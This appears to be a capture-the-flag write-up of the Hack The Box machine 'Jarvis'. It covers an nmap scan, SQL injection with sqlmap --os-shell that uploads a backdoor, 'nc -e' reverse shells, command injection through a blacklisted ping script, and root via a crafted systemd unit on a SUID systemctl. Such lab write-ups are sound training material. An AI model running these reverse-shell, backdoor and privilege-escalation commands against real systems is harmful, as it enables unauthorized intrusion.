HTB Writeup: Jarvis

Jarvis Card


To start, I run an nmap scan against the target:

Nmap scan report for jarvis.htb (
Host is up (0.062s latency).

22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
64999/tcp open  http    Apache httpd 2.4.25 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nothing too interesting, except for the Apache instance hosted on 64999/tcp. Let’s see if anything shows up in the browser on this port:

There definitely seems to be some sort of WAF or rate limiting in place. Let’s checkout port 80 now and see what’s actually hosted here:

Looks like a simple site for a hotel. Manually enumerating the site and I came upon a room booking page:

The URL http://jarvis.htb/room.php?cod=1 seems like a potential vector for SQL injection. To test this, I made the following request:


It works!

SQL Injection Leading to www-data Account

So now that I know that the parameter cod is vulnerable to SQL injection, I fired up SQLmap with the –os-shell to see if we can gain an initial foothold on the system. I noticed my scan failed after the first few requests, and remember back to what we saw on port 64999/tcp. Indeed, I was banned for 90 seconds for making too many requests in a short period of time. To resolve this, I modified my sqlmap command to include the –delay option, and set the value to 5:

[email protected]:~/htb/jarvis# sqlmap -u "http://jarvis.htb/room.php?cod=1" --delay=5 --os-shell


[17:39:00] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://jarvis.htb:80/tmpuyppm.php
[17:39:10] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://jarvis.htb:80/tmpbenot.php
[17:39:10] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> nc -e /bin/sh 4444

Meanwhile, on my attack host:

Local Enumeration

Now I have access to the web server user account www-data. During the process of enumerating the host I found a few interesting things. The first is the mysql database administrator password, found in /var/www/html/connection.php:

With this password I can now logon to the phpmyadmin interface to see if there’s any privilege escalation vulnerabilities, but I’ll skip over that for now. The next thing I see that looks more valuable is the /var/www/Admin-Utilities directory. Inside, there is just a single python script:

Opening up the script reveals it has several utilities to manage the web app. Starting on line 120 I see something that catches my eye:

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
    os.system('ping ' + command)```

The line os.system(‘ping ' + command) looks like a potential injection point to add our own code. However, I’m blocked from executing the script as the current user, since it is owned by the user ‘pepper’:

[email protected]:/var/www/Admin-Utilities$ ls -la
ls -la
total 16
drwxr-xr-x 2 pepper pepper 4096 Mar  4 07:46 .
drwxr-xr-x 4 root   root   4096 Mar  4 11:58 ..
-rwxr--r-- 1 pepper pepper 4587 Mar  4 07:48

Command Injection leading to Pepper

So I know that I need to be pepper to actually run this script. The www-data user doesn’t have the ability to run other commands as the root user with sudo, but what about running this script as the user pepper? Using sudo -u pepper /var/www/Admin-Utilities/ works! It’s obvious that the sudoers config allows the www-data to run this script, and I’ll confirm that later.

I now run the script with the -p flag to trigger the ping functionality previously discovered. To run a command of my choosing, I used command substituion to use $(/bin/bash) as my input:

Sweet! Now I have access to pepper. The shell this exploit gives me wasn’t very stable, so I spawn another reverse shell back to my attack host:

Searching in pepper’s home directory, I obtained the user flag:

SUID Exploitation to Root

I’m now in the final stretch, all that’s left is to escalate privileges to root and get the final flag. While looking for ways to escalate to root, I notice an interesting SUID binary:

[email protected]:/tmp$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
-rwsr-xr-x 1 root root 44304 Mar  7  2018 /bin/mount
-rwsr-xr-x 1 root root 61240 Nov 10  2016 /bin/ping
-rwsr-x--- 1 root pepper 174520 Feb 17 03:22 /bin/systemctl

The systemctl binary is owned by pepper’s group. Strange, but this works out in my favor as I can now attempt to backdoor a crafted systemd unit file [1]. I started creating the evil unit file in the /tmp directory, but had issues linking systemctl to it, so I copied it to pepper’s home directory and went from there:

[email protected]:/tmp$ TF=$(mktemp).service
[email protected]:/tmp$ echo '[Service]
ExecStart=/bin/sh -c "nc -e /bin/bash 4445"
[Install]' > $TF
[email protected]:~/.tmp$ systemctl link $TF
systemctl link $TF
Created symlink /etc/systemd/system/tmp.CWS5qmY7E1.service -> /home/pepper/.tmp/tmp.CWS5qmY7E1.service.
[email protected]:~/.tmp$ systemctl enable --now $TF
systemctl enable --now $TF
Created symlink /etc/systemd/system/ -> /home/pepper/.tmp/tmp.CWS5qmY7E1.service.

Once the final command was executed, it opened up a reverse shell that I grabbed on my attack host:

Success! I opened up another TTY shell with python and got the contents of root.txt:

As I mentioned earlier, it seemed like the www-data user was able to run the script as the pepper user with sudo, but nothing else. Viewing the /etc/sudoers file confirmed this: